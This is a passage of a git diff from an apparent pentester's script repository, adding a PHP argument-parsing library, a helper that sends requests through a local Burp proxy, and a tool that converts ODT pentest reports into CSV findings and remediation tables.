"--{$longName}|-{$this->getShortName($longName)}"; + + if ($this->allowsValue($longName)) { + echo "={$this->getValueType($longName)}"; + } //if + + if ($this->allowsMultiple($longName)) { + echo "+"; + } //if + + $defLength = ob_get_length(); + + $longestDef = max($longestDef, $defLength); + + $firstCol[$longName] = ob_get_contents(); + ob_end_clean(); + + } //foreach + + $firstColMaxWidth = $longestDef + 4; + + ob_start(); + + foreach ($firstCol as $longName => $def) { + $currentDefLength = strlen($def); + + $padding = str_repeat(" ", $firstColMaxWidth - $currentDefLength); + + echo "{$def}{$padding}{$this->getDescription($longName)}", PHP_EOL; + } //foreach + + echo PHP_EOL; + + $usage = ob_get_contents(); + ob_end_clean(); + + return $usage; + + } // getUsage() + + + /** + * parses the definitions + * + * @author Patrick Forget + */ + protected function parseDefinitions() + { + foreach ($this->definitions as $nameDef => $description) { + $nameParts = explode("|", $nameDef); + + if (sizeof($nameParts) !== 2) { + throw new \UnexpectedValueException("Unexpected argument name definition expecting \"longName|char\""); + } //if + + $longName = $nameParts[0]; + $isMulti = false; + $parameterType = false; + + $shortNameLength = strlen($nameParts[1]); + + if ($shortNameLength == 1) { + $shortName = $nameParts[1]; + } else { + $secondChar = substr($nameParts[1], 1, 1); + + switch ($secondChar) { + case '=': + $shortNameParts = explode("=", $nameParts[1]); + + $shortName = $shortNameParts[0]; + $parameterTypeString = $shortNameParts[1]; + + if (substr($parameterTypeString, -1) === '+') { + $isMulti = true; + $parameterTypeString = substr($parameterTypeString, 0, -1); // remove trailing + + } //if + + switch ($parameterTypeString) { + case 'i': + case 'int': + case 'integer': + $parameterType = 'integer'; + break; + case 's': + case 'str': + case 'string': + $parameterType = 'string'; + break; + default: + throw new \UnexpectedValueException("Expecting parameter type". + " to be either integer or string"); + break; + } //switch + + break; + case '+': + if ($shortNameLength > 2) { + throw new \UnexpectedValueException("Multiple flag charachter (+)". + " should be last character in definition"); + } //if + + $shortName = substr($nameParts[1], 0, 1); + $isMulti = true; + + break; + default: + throw new \UnexpectedValueException("Expecting short name definition to be a single char"); + break; + } // switch + + } //if + + if (isset($this->longNames[$longName])) { + throw new \UnexpectedValueException("Cannot redefine long name {$longName}"); + } //if + + if (isset($this->shortNames[$shortName])) { + throw new \UnexpectedValueException("Cannot redefine short name {$shortName}"); + } //if + + $this->longNames[$longName] = array( + 'shortName' => $shortName, + 'isMultipleAllowed' => $isMulti, + 'parameterType' => $parameterType, + 'description' => $description + ); + + $this->shortNames[$shortName] = $longName; + + } //foreach + + $this->isParsed = true; + } // parseDefinitions() +} diff --git a/BurpManiProxy.php b/BurpManiProxy.php new file mode 100755 index 0000000..85fe529 --- /dev/null +++ b/BurpManiProxy.php @@ -0,0 +1,39 @@ + 'okhttp/3.9.0', 'app' => 'ANDROID', 'key' => '123']; + + $variable = getdataz($target, $headers, $dataz); + echo $variable; // or do manipulation etc. + + /*** + * Leave me + */ + + function getdataz($target, $headers, $dataz){ + $ch = curl_init($target); + + curl_setopt($ch, CURLOPT_HEADER, $headers); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($ch, CURLOPT_POSTFIELDS,$dataz); + curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:8080'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + + $result = curl_exec($ch); + curl_close($ch); + + return $result; + } +} + +?> \ No newline at end of file diff --git a/README.md b/README.md index 94d2610..16d5f1c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ -DirtyScripts -=============== +This repo comes as-is!! + +It is just a dump of stuff, maybe useful, probably not. + +Without warranty or documentation. + +If you can't read the code then this isn't for you. + +Please do not ask for help regarding anything here, you will be ignored \ No newline at end of file diff --git a/ReportToolz/README.md b/ReportToolz/README.md new file mode 100644 index 0000000..6e0e95c --- /dev/null +++ b/ReportToolz/README.md @@ -0,0 +1,29 @@ +``` +╰» ./rep2.php -d "/mnt/hgfs/Pentest/pentests/2019/Precise/J34562.6 Company Web Application Technical Report 1.1.odt" +_____ _____ _____ 2 +||_// ||== ||_// +|| \ ||___ || + +[!] doc: /mnt/hgfs/Pentest/pentests/2019/Company/J12345.6 Company Web Application Technical Report 1.1.odt +[+] doc extracted +[=] fonts found: 23 +[+] vulnerabilities identified +[+] temp files removed +[+] created directory /mnt/hgfs/Pentest/pentests/2019/Company/rep2/ +[+] medium issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] low issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_serious.csv +[+] all issues: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/findings_all.csv +[+] remediation table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/remediation.csv +[+] OWASP table: /mnt/hgfs/Pentest/pentests/2019/Company/rep2/owasp.csv +[=] Serious = 0, High = 0, Medium = 4, Low = 3 + +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------ +5.1.1 |Missing Security Headers |Medium |5.1 |Configuration |A6 Security Misconfiguration +5.1.2 |Insecure SSL Certificate Detected |Medium |4.8 |Configuration |A6 Security Misconfiguration +5.1.3 |Missing Cookie Attributes |Medium |4.7 |Configuration |A6 Security Misconfiguration +5.1.4 |jQuery Vulnerabilities |Medium |4.3 |Configuration |A9 Components with Known Vulne +5.2.1 |Software Version Numbers Disclosed |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.2 |Verbose Error Reporting Enabled |Low |5.3 |Configuration |A6 Security Misconfiguration +5.2.3 |Wildcard SSL Certificate |Low |3.7 |Configuration |A6 Security Misconfiguration +``` \ No newline at end of file diff --git a/ReportToolz/classes/CommandArgumentFilter.php b/ReportToolz/classes/CommandArgumentFilter.php new file mode 100644 index 0000000..1ffa45e --- /dev/null +++ b/ReportToolz/classes/CommandArgumentFilter.php @@ -0,0 +1,343 @@ + + */ + +namespace Clapp; + +/** + * Filters an array and extracts and validates command line arguments + * + * @author Patrick Forget + */ +class CommandArgumentFilter +{ + /** + * Command line arguments + * @var array + */ + private $arguments = array(); + + /** + * Definition of allowed parameters + * @var \Clapp\CommandLineArgumentDefinition + */ + private $definitions = null; + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $parsed = false; + + /** + * Parsed params + * @var array + */ + private $params = array(); + + /** + * Trailing values + * @var string + */ + private $trailingValues = ""; + + /** + * program name + * @var string + */ + private $programName = ""; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param \Clapp\CommandLineDefinition $definitions contains list of allowed parameters + * @param array $args list of arguments to filter. + */ + public function __construct(\Clapp\CommandLineArgumentDefinition $definitions, $args) + { + if (is_array($args)) { + $this->arguments = $args; + } //if + + $this->definitions = $definitions; + } // __construct() + + /** + * returns parameter matching provided name + * + * @author Patrick Forget + * + * @param string name of the paramter to retreive + * + * @return mixed if param the param appears only once the method will + * return 1 if the parameter doesn't take a value. The specified value + * for that param will returned if it does take value. + * + * If many occurence of the param appear the number of occurences will + * be returned for params that do not take values. An array of values + * will be returned for the parameters that do take values. + * + * If the parameter is not present null if it takes a value and false if + * it's not present and doesn't allow values + */ + public function getParam($name) + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + $longName = strlen($name) === 1 ? $this->definitions->getLongName($name) : $name; + if (isset($this->params[$longName])) { + return $this->params[$longName]; + } else { + if ($this->definitions->allowsValue($longName)) { + return null; + } else { + return false; + } //if + } //if + + } // getParam() + + /** + * retreive the program name + * + * @author Patrick Forget + */ + public function getProgramName() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->programName; + } // getProgramName() + + /** + * retreive the trailing values + * + * @author Patrick Forget + */ + public function getTrailingValues() + { + if (!$this->parsed) { + $this->parseParams(); + } //if + + return $this->trailingValues; + } // getTrailingValues() + + /** + * extracts params from arguments + * + * @author Patrick Forget + */ + protected function parseParams() + { + + $argumentStack = $this->arguments; + + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $trailingValues = ""; + $endOfDashedArguments = false; + $addParam = false; + $argumentsLeft = sizeof($argumentStack); + $multiShortParams = array(); + + $this->programName = array_shift($argumentStack); // remove first argument which is the program name + + while ($currentArgument = array_shift($argumentStack)) { + $argumentsLeft--; + $currentArgumentLength = strlen($currentArgument); + + // arguments that don't start with a dash + if (substr($currentArgument, 0, 1) !== '-') { + if ($expectingValue) { + $currentValue = $currentArgument; + $addParam = true; + } else { + $trailingValues .= " ". $currentArgument; + $endOfDashedArguments = true; + } //if + + // double dash detected + } elseif (substr($currentArgument, 1, 1) === '-') { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* stop parsing arguments if double dash + only param is encountered */ + if ($currentArgumentLength == 2) { + if ($trailingValues !== "") { + throw new \UnexpectedValueException("Trailing values must appear after double dash"); + } //if + + $trailingValues = " ". implode(" ", $argumentStack); + $argumentStack = array(); + $endOfDashedArguments = true; + break; + } //if + + $longNameParts = explode("=", substr($currentArgument, 2), 2); + + $currentLongName = $longNameParts[0]; + + if (sizeof($longNameParts) > 1) { + $currentValue = $longNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + // single dash + } else { + if ($expectingValue) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + $shortNameParts = explode("=", substr($currentArgument, 1), 2); + + $shortName = $shortNameParts[0]; + + if (strlen($shortName) <= 1) { + $currentLongName = $this->definitions->getLongName($shortName); + + if ($currentLongName === null) { + throw new \InvalidArgumentException("Unable to find name with ". + "provided parameter ({$shortName})"); + } //if + + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($currentLongName)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } else { + $multiShortParams = str_split($shortName); + + /* process the last one (which is the only one that can have a value) */ + $lastParam = array_pop($multiShortParams); + $currentLongName = $this->definitions->getLongName($lastParam); + if (sizeof($shortNameParts) > 1) { + $currentValue = $shortNameParts[1]; + $addParam = true; + } elseif ($this->definitions->allowsValue($lastParam)) { + $expectingValue = true; + } else { + $addParam = true; + } //if + + } //if + + } //if + + if ($addParam) { + if ($endOfDashedArguments) { + throw new \UnexpectedValueException("Unexpected argument after undashed values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName === false || $currentLongName === null) { + throw new \UnexpectedValueException("Missing argument name"); + } //if + // @codeCoverageIgnoreEnd + + if (!$this->definitions->paramExists($currentLongName)) { + throw new \InvalidArgumentException("Invalid argument name"); + } //if + + $allowsMultiple = $this->definitions->allowsMultiple($currentLongName); + $allowsValue = $this->definitions->allowsValue($currentLongName); + + if (isset($this->params[$currentLongName]) && !$allowsMultiple) { + throw new \UnexpectedValueException("Multiple instace of parameter {$currentLongName} not allowed"); + } //if + + if ($allowsValue) { + /* Missing values should always be detected before addParam is true */ + // @codeCoverageIgnoreStart + if ($currentValue === null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + // @codeCoverageIgnoreEnd + + } elseif ($currentValue !== null) { + throw new \UnexpectedValueException("Parameter {$currentLongName} does not accept values"); + + } else { + $currentValue = true; + } //if + + if ($allowsMultiple) { + if ($allowsValue) { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = array(); + } //if + + $this->params[$currentLongName][] = $currentValue; + + } else { + if (!isset($this->params[$currentLongName])) { + $this->params[$currentLongName] = 0; + } //if + + $this->params[$currentLongName]++; + + } //if + + } else { + $this->params[$currentLongName] = $currentValue; + } //if + + foreach ($multiShortParams as $shortName) { + $argumentStack[] = "-{$shortName}"; + $argumentsLeft++; + } //foreach + + /* reset stuff for next param */ + $expectingValue = false; + $currentLongName = null; + $currentValue = null; + $addParam = false; + $multiShortParams = array(); + + } //if + + } //while + + if ($expectingValue !== false) { + throw new \UnexpectedValueException("Parameter {$currentLongName} expects a values"); + } //if + + /* Not sure how this could happen */ + // @codeCoverageIgnoreStart + if ($currentLongName !== null || + $addParam !== false || + $currentValue !== null || + sizeof($multiShortParams) !== 0) { + throw new \UnexpectedValueException("Unable to process some parameters"); + } //if + // @codeCoverageIgnoreEnd + + if ($trailingValues !== "") { + $this->trailingValues = substr($trailingValues, 1); // remove extra space at the begging + } //if + + $this->parsed = true; + } // parseParams() +} diff --git a/ReportToolz/classes/CommandLineArgumentDefinition.php b/ReportToolz/classes/CommandLineArgumentDefinition.php new file mode 100644 index 0000000..2b2e8fa --- /dev/null +++ b/ReportToolz/classes/CommandLineArgumentDefinition.php @@ -0,0 +1,389 @@ + + */ + +namespace Clapp; + +/** + * Defines list and formats of command line arguments + * + * @author Patrick Forget + */ +class CommandLineArgumentDefinition +{ + + /** + * @var array + */ + private $definitions = array(); + + /** + * long names as keys and array of properties as values + * + * properties are as follows + * * string "shortName" one letter char to the corresponding short name + * * boolean "isMultipleAllowed" true if mutliple instances of the param are allowed + * * mixed "parameterType" false if paramters are not alloweda value, + * otherwise a string with the value "integer" or "string" + * * string "description" description of the parameter + * @var array + */ + private $longNames = array(); + + /** + * list of short names as keys and their long name equivalent as values + * @var array + */ + private $shortNames = array(); + + /** + * Flag if arguments have been parsed in to params + * @var boolean + */ + private $isParsed = false; + + /** + * class constructor + * + * @author Patrick Forget + * + * @param array $definitions contains list of allowed parameters + * the key is the long name of the parameter followed by a pipe (|) + * then a single character specifying the short name. + * + * If the parameter allows for arguments then an equal sign (=) + * follows and then the type of paramter. + * + * Allowed types are either i, int or integer for integer types + * and s, str or string for string types. + * + * If a parameter can appear more than once the last character of + * the key should be a plus character (+). + * + * The value of the entry is the definition of what the paramter + * does. + */ + public function __construct($definitions) + { + if (is_array($definitions)) { + $this->definitions = $definitions; + } //if + } // __construct() + + /** + * checks if parameter is allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean true if definition exisits, false otherwise + */ + public function paramExists($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (strlen($name) == 1) { + return isset($this->shortNames[$name]); + } else { + return isset($this->longNames[$name]); + } //if + } // paramExists($name) + + + /** + * checks if parameter allows a value if so what type + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean|string false doesn't allow value, The value "string" or "integer" depending which type it allows + */ + public function allowsValue($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['parameterType'] !== false ? true : false; + } else { + return false; + } //if + } // allowsValue() + + /** + * returns the type of value allowed + * + * @author Patrick Forget + */ + public function getValueType($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName]['parameterType']) + && $this->longNames[$longName]['parameterType'] !== false) { + return $this->longNames[$longName]['parameterType']; + } else { + return ''; + } //if + } // getValueType() + + + /** + * checks if pamultiple instance of parameter are allowed + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return boolean false if parameter doesn't allow multiple values, true if it does + */ + public function allowsMultiple($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['isMultipleAllowed']; + } else { + return false; + } //if + } // allowsMultiple() + + /** + * retreive short name of a parameter using its long name + * + * @author Patrick Forget + * + * @param string $name long name of the parameter to check + * + * @return string character of the short name or null if it doesn't exist + */ + public function getShortName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->longNames[$name])) { + return $this->longNames[$name]['shortName']; + } else { + return null; + } //if + } // getShortName($name) + + /** + * retreive long name of a parameter using its short name + * + * @author Patrick Forget + * + * @param string $name short name of the parameter to check + * + * @return string long name or null if it doesn't exist + */ + public function getLongName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->shortNames[$name])) { + return $this->shortNames[$name]; + } else { + return null; + } //if + } // getLongName($name) + + /** + * retreive description of a paramter + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return string description or null if it doesn't exist + */ + public function getDescription($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['description']; + } else { + return null; + } //if + } // getDescription() + + /** + * builds a usage definition based on definition of params + * + * @author Patrick Forget + */ + public function getUsage() + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + /* build list of argument names and calculate + the first column width so we can pad to + align definitions */ + $firstCol = array(); + $longestDef = 0; + foreach (array_keys($this->longNames) as $longName) { + ob_start(); + echo "--{$longName}|-{$this->getShortName($longName)}"; + + if ($this->allowsValue($longName)) { + echo "={$this->getValueType($longName)}"; + } //if + + if ($this->allowsMultiple($longName)) { + echo "+"; + } //if + + $defLength = ob_get_length(); + + $longestDef = max($longestDef, $defLength); + + $firstCol[$longName] = ob_get_contents(); + ob_end_clean(); + + } //foreach + + $firstColMaxWidth = $longestDef + 4; + + ob_start(); + + foreach ($firstCol as $longName => $def) { + $currentDefLength = strlen($def); + + $padding = str_repeat(" ", $firstColMaxWidth - $currentDefLength); + + echo "{$def}{$padding}{$this->getDescription($longName)}", PHP_EOL; + } //foreach + + echo PHP_EOL; + + $usage = ob_get_contents(); + ob_end_clean(); + + return $usage; + + } // getUsage() + + + /** + * parses the definitions + * + * @author Patrick Forget + */ + protected function parseDefinitions() + { + foreach ($this->definitions as $nameDef => $description) { + $nameParts = explode("|", $nameDef); + + if (sizeof($nameParts) !== 2) { + throw new \UnexpectedValueException("Unexpected argument name definition expecting \"longName|char\""); + } //if + + $longName = $nameParts[0]; + $isMulti = false; + $parameterType = false; + + $shortNameLength = strlen($nameParts[1]); + + if ($shortNameLength == 1) { + $shortName = $nameParts[1]; + } else { + $secondChar = substr($nameParts[1], 1, 1); + + switch ($secondChar) { + case '=': + $shortNameParts = explode("=", $nameParts[1]); + + $shortName = $shortNameParts[0]; + $parameterTypeString = $shortNameParts[1]; + + if (substr($parameterTypeString, -1) === '+') { + $isMulti = true; + $parameterTypeString = substr($parameterTypeString, 0, -1); // remove trailing + + } //if + + switch ($parameterTypeString) { + case 'i': + case 'int': + case 'integer': + $parameterType = 'integer'; + break; + case 's': + case 'str': + case 'string': + $parameterType = 'string'; + break; + default: + throw new \UnexpectedValueException("Expecting parameter type". + " to be either integer or string"); + break; + } //switch + + break; + case '+': + if ($shortNameLength > 2) { + throw new \UnexpectedValueException("Multiple flag charachter (+)". + " should be last character in definition"); + } //if + + $shortName = substr($nameParts[1], 0, 1); + $isMulti = true; + + break; + default: + throw new \UnexpectedValueException("Expecting short name definition to be a single char"); + break; + } // switch + + } //if + + if (isset($this->longNames[$longName])) { + throw new \UnexpectedValueException("Cannot redefine long name {$longName}"); + } //if + + if (isset($this->shortNames[$shortName])) { + throw new \UnexpectedValueException("Cannot redefine short name {$shortName}"); + } //if + + $this->longNames[$longName] = array( + 'shortName' => $shortName, + 'isMultipleAllowed' => $isMulti, + 'parameterType' => $parameterType, + 'description' => $description + ); + + $this->shortNames[$shortName] = $longName; + + } //foreach + + $this->isParsed = true; + } // parseDefinitions() +} diff --git a/ReportToolz/rep2.php b/ReportToolz/rep2.php new file mode 100755 index 0000000..d19c6b8 --- /dev/null +++ b/ReportToolz/rep2.php @@ -0,0 +1,435 @@ +#!/usr/bin/php + "Shows help message", + "doc|d=s" => "/path/to/doc.odt to use", + ) +); + +$filter = new \Clapp\CommandArgumentFilter($definitions, $argv); + +if ($filter->getParam('h') === true || $argc < 2) { + fwrite(STDERR, $definitions->getUsage()); + exit(0); +} + +// see if doc exists +if ($filter->getParam("doc") == false) + die("[-] no doc set\n"); + +echo "[!] doc: ".$filter->getParam("doc")."\n"; +if(!file_exists($filter->getParam("doc"))) + die("[-] no such file! \n"); + +// extract doc and get contents +$rand = uniqid(); +mkdir("/tmp/$rand"); +if(unzipFolder($filter->getParam("doc"), "/tmp/$rand/")) { + $source = file_get_contents("/tmp/$rand/content.xml"); + echo "[+] doc extracted\n"; +} else { + die("[-] unable to extract doc\n"); +} + +// Parse Doc's XML +$line = array(); +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); + +// font checker +/*** + * FUTURE FEATURE PERHAPS + */ +$fonts = array(); +while ($reader->read()){ + //print_r($reader->name); + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'style:font-face')) { + //if(!empty($reader->name)){ + //echo "here2\n"; + //$line[] = $reader->expand()->textContent; // Put the text into array in correct order... + $fonts[] = $reader->getAttribute("style:name"); + //echo $font;echo "\n"; // DEBUG + //} + } +} +$reader->close(); +//die(); +echo "[=] fonts found: ".sizeof($fonts)."\n"; + +// step through text:h and text:p elements to put them into an array +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); +while ($reader->read()){ + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'text:h' || $reader->name === 'text:p' || $reader->name === 'text:bookmark')) { + if(!empty($reader->expand()->textContent)) + $line[] = $reader->expand()->textContent; // Put the text into array in correct order... + //echo $reader->expand()->textContent;echo "\n"; // DEBUG + } +} +$reader->close(); + +// find the content we want +$start = 0; $end = 0; +foreach($line as $key => $val){ + if(strpos($val, "Discovered Vulnerabilities") === 0){ $start = $key; } + if(strpos($val, "This section provides a quick guide to plan your remediation for the vulnerabilities discovered during the test.") === 0){ $end = $key-2; } + $line[$key] = trim($val); +} + +// add to sexy array's +$vuln = array(); +$vulnPlace = 0; +$switch = 0; +$sub2 = 0; +$sub3 = 1; +for ($i=$start; $i <= $end ; $i++) { + // change state (action to take) + /*** + * ~states~ + * 0 = do nothing + * 1 = next is title + * 2 = next is description + * 3 = next is solution + * 4 = next is remediation + * 5 = next is cvss no + * 6 = next is risk level + * 7 = next is hosts + * 8 = next possibly title + */ + switch ($line[$i]) { + case 'Discovered Vulnerabilieies': + $switch = 0; + break; + case 'Serious Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'High Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Medium Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Low Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Description': + $switch = 2; + break; + case 'Solution': + $switch = 3; + break; + case 'Remediation': + $switch = 4; + break; + case 'CVSS Base Score': + $switch = 5; + break; + case 'Risk Level': + $switch = 6; + break; + case 'Vulnerabilities Exist On': + $switch = 7; + break; + default: + # code... + break; + } + + //take action + switch ($switch) { + case 1: + $i++; + $vuln[$vulnPlace]['title'] = $line[$i]; + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + case 2: + @$vuln[$vulnPlace]['desc'] .= $line[$i]; + break; + case 3: + @$vuln[$vulnPlace]['fix'] .= $line[$i]; + break; + case 4: + $i++; + $vuln[$vulnPlace]['rem'] = trim(strtok($line[$i], " ")); + $switch = 0; + break; + case 5: + $i++; + $vuln[$vulnPlace]['cvss'] = $line[$i]; + $switch = 0; + break; + case 6: + $i++; + $vuln[$vulnPlace]['risk'] = trim(strtok($line[$i], " ")); + $vuln[$vulnPlace]['owasp'] = trim(substr($line[$i], strpos($line[$i], ":") + 1)); + $switch = 0; + break; + case 7: + $i++; + $vuln[$vulnPlace]['hosts'] = $line[$i]; + $switch = 8; + $vulnPlace++; + break; + case 8: + $vuln[$vulnPlace]['title'] = trim($line[$i]); + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + default: + # code... + break; + } + + //echo $line[$i]."\n"; // DEBUG +} + +// minor tidying of arrays +for ($i=0; $i < sizeof($vuln) ; $i++) { + if (strpos($vuln[$i]['desc'], "Description") === 0) $vuln[$i]['desc'] = substr($vuln[$i]['desc'], strlen("Description")); + if (strpos($vuln[$i]['fix'], "Solution") === 0) $vuln[$i]['fix'] = substr($vuln[$i]['fix'], strlen("Solution")); + $vuln[$i]['risk'] = rtrim($vuln[$i]['risk'], ":"); + // remove html encoding + foreach($vuln[$i] as $key => $val){ + $vuln[$i][$key] = mb_convert_encoding($val, "UTF-8", 'UTF-8'); + } +} + +//print_r($vuln); // DEBUG +echo "[+] vulnerabilities identified\n"; + +delTree("/tmp/$rand"); +echo "[+] temp files removed\n"; + +$resultsFolder = substr($filter->getParam("doc"), 0, strrpos( $filter->getParam("doc"), '/') )."/rep2"; +if(!file_exists($resultsFolder."/")){ + mkdir($resultsFolder."/"); + echo "[+] created directory $resultsFolder/\n"; +}else{ + $i = 1; + while (file_exists($resultsFolder."_$i/")) + $i++; + mkdir($resultsFolder."_$i/"); + $resultsFolder .= "_$i"; + echo "[+] created directory $resultsFolder/\n"; +} + +if(writeIssueTable($vuln, "Serious", $resultsFolder."/findings_serious.csv")) + echo "[+] serious issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "High", $resultsFolder."/findings_high.csv")) + echo "[+] high issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Medium", $resultsFolder."/findings_medium.csv")) + echo "[+] medium issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Low", $resultsFolder."/findings_low.csv")) + echo "[+] low issues: $resultsFolder/findings_serious.csv\n"; + +if(writeAllTable($vuln, $resultsFolder."/findings_all.csv")) + echo "[+] all issues: $resultsFolder/findings_all.csv\n"; + +if(writeRemediationTable($vuln, $resultsFolder."/remediation.csv")) + echo "[+] remediation table: $resultsFolder/remediation.csv\n"; + +if(writeOWASPTable($vuln, $resultsFolder."/owasp.csv")) + echo "[+] OWASP table: $resultsFolder/owasp.csv\n"; + +viewVulns($vuln); + +function unzipFolder($zipInputFile, $outputFolder) { + $zip = new ZipArchive; + $res = $zip->open($zipInputFile); + if ($res === true) { + $zip->extractTo($outputFolder); + $zip->close(); + return true; + } + else { + return false; + } +} + +function XML2Array(SimpleXMLElement $parent){ + $array = array(); + + foreach ($parent as $name => $element) { + ($node = & $array[$name]) + && (1 === count($node) ? $node = array($node) : 1) + && $node = & $node[]; + + $node = $element->count() ? XML2Array($element) : trim($element); + } + + return $array; +} + +function delTree($dir){ + $files = array_diff(scandir($dir), array('.', '..')); + + foreach ($files as $file) { + (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); + } + + return rmdir($dir); +} + +function viewVulns($vuln){ + $s = $h = $m = $l = 0; + for ($i=0; $i < sizeof($vuln) ; $i++) { + switch ($vuln[$i]['risk']) { + case 'Serious': + $s++; + break; + case 'High': + $h++; + break; + case 'Medium': + $m++; + break; + case 'Low': + $l++; + break; + } + } + echo "[=] Serious = $s, High = $h, Medium = $m, Low = $l\n"; + +echo" +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------\n"; +for ($i=0; $i < sizeof($vuln) ; $i++) { + $ref = str_pad($vuln[$i]['ref'], 7); + $title = str_pad($vuln[$i]['title'], 35); + $risk = str_pad($vuln[$i]['risk'], 8); + $cvss = str_pad($vuln[$i]['cvss'], 8); + $rem = str_pad($vuln[$i]['rem'], 15); + $owasp = str_pad($vuln[$i]['owasp'], 30); + + echo substr($ref, 0, 7); echo "|"; + echo substr($title, 0, 35); echo "|"; + echo substr($risk, 0, 8); echo "|"; + echo substr($cvss, 0, 8); echo "|"; + echo substr($rem, 0, 15); echo "|"; + echo substr($owasp, 0, 30); echo "\n"; +} +} + +function writeIssueTable($vuln, $issue, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if($vuln[$i]['risk'] == $issue){ + $towrite[$i]['desc'] = $vuln[$i]['title']." - ".$vuln[$i]['desc']; + $towrite[$i]['fix'] = $vuln[$i]['fix']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeAllTable($vuln, $path){ + if(sizeof($vuln) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Title", "Ref", "Description", "Solution", "Remediation", "CVSS", "Risk", "OWASP", "Affected")); + foreach ($vuln as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeRemediationTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['p'] = " "; + $towrite[$i]['c'] = " "; + $towrite[$i]['d'] = " "; + $towrite[$i]['u'] = " "; + switch ($vuln[$i]['rem']) { + case 'Patch': + $towrite[$i]['p'] = $vuln[$i]['risk'][0]; + break; + case 'Configuration': + $towrite[$i]['c'] = $vuln[$i]['risk'][0]; + break; + case 'Development': 